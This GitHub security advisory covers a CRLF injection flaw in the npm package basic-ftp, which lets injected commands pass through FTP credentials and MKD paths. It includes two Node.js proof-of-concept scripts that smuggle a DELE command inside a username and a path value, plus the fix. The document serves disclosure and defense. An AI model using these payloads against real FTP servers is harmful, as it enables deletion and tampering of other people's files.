Skip to content

basic-ftp: Incomplete CRLF Injection Protection Allows Arbitrary FTP Command Execution via Credentials and MKD Commands

High severity GitHub Reviewed Published Apr 9, 2026 in patrickjuchli/basic-ftp • Updated Apr 10, 2026

Package

npm basic-ftp (npm)

Affected versions

<= 5.2.1

Patched versions

5.2.2

Description

Summary

basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the protectWhitespace() control character check: (1) the login() method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the _openDir() method sends an MKD command before cd() invokes protectWhitespace(), creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.

Details

Vector 1: Credential Injection (login)

The login() method constructs FTP commands by direct string concatenation with no CRLF validation:

// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {  // Line 218: no validation on `user`
        // ...
        else if (res.code === 331) {
            this.ftp.send("PASS " + password)  // Line 226: no validation on `password`
        }
    })
}

FtpContext.send() writes directly to the TCP socket:

// src/FtpContext.ts:223-227
send(command: string) {
    // ...
    this._socket.write(command + "\r\n", this.encoding)
}

The protectWhitespace() method (line 762) rejects \r, \n, and \0 characters — but it is only called for path-based operations. Credentials never pass through it.

The public access() method (line 268) passes options.user and options.password directly to login() with no sanitization.

Vector 2: MKD TOCTOU Bypass (_openDir)

The _openDir() method sends an MKD command before the CRLF check in cd():

// src/Client.ts:745-748
protected async _openDir(dirName: string) {
    await this.sendIgnoringError("MKD " + dirName)  // Line 746: sent BEFORE validation
    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late
}

This is called from ensureDir() (line 729) which splits a user-supplied remote path by / and passes each fragment to _openDir(), and from _uploadToWorkingDir() (line 679) which passes local directory names read from the filesystem.

PoC

Vector 1: Credential Injection

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();

Vector 2: MKD TOCTOU Bypass

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    await client.access({
        host: "target-ftp-server",
        user: "anonymous",
        password: "guest"
    });

    // Path fragment with CRLF — MKD is sent before cd() validates
    try {
        await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();

Impact

An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:

  • File deletion: Inject DELE commands to remove files on the FTP server
  • File manipulation: Inject RNFR/RNTO to rename files, MKD/RMD to create/remove directories
  • Server commands: Inject SITE commands (e.g., SITE CHMOD) to change permissions
  • Session hijacking: Inject USER/PASS to re-authenticate as a different user

The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.

Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.

Recommended Fix

Add CRLF validation to both code paths:

1. Validate credentials in login():

// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
        return Promise.reject(new Error("Invalid credentials: Contains control characters"));
    }
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {
        // ... rest unchanged
    })
}

2. Validate dirName in _openDir() before sending MKD:

// src/Client.ts:745
protected async _openDir(dirName: string) {
    if (/[\r\n\0]/.test(dirName)) {
        throw new Error("Invalid path: Contains control characters");
    }
    await this.sendIgnoringError("MKD " + dirName)
    await this.cd(dirName)
}

Alternatively, centralize CRLF validation in FtpContext.send() so that all FTP commands are protected regardless of the calling code path.

References

@patrickjuchli patrickjuchli published to patrickjuchli/basic-ftp Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

EPSS score

Weaknesses

Improper Neutralization of CRLF Sequences ('CRLF Injection')

The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-6v7q-wjvx-w8wg

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.